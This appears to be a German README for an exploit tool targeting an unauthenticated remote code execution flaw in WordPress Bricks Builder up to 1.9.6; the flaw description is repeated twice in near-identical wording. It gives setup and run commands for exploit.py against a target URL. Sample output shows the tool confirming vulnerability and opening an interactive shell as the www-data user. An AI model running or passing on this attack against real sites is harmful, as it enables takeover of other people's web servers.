
Schwachstelle für nicht authentifizierte Remote-Codeausführung in WordPress Bricks Builder <= 1.9.6. Der Template-Render-Endpunkt akzeptiert PHP-Code ohne Authentifizierung, was die Ausführung beliebiger Befehle als Webserver-Benutzer ermöglicht.
Nicht authentifizierte Remote-Code-Ausführung-Sicherheitslücke in WordPress Bricks Builder <= 1.9.6. Der Template-Render-Endpoint akzeptiert PHP-Code ohne Authentifizierung, was die Ausführung beliebiger Befehle als Webserver-Benutzer ermöglicht.
python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit
python3 exploit.py -u http://TARGET
Beispiel:
$ python3 exploit.py -u http://10.10.10.10
[*] Fetching nonce from http://10.10.10.10 ...
[*] Checking if the target is vulnerable...
[+] Target is vulnerable!
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)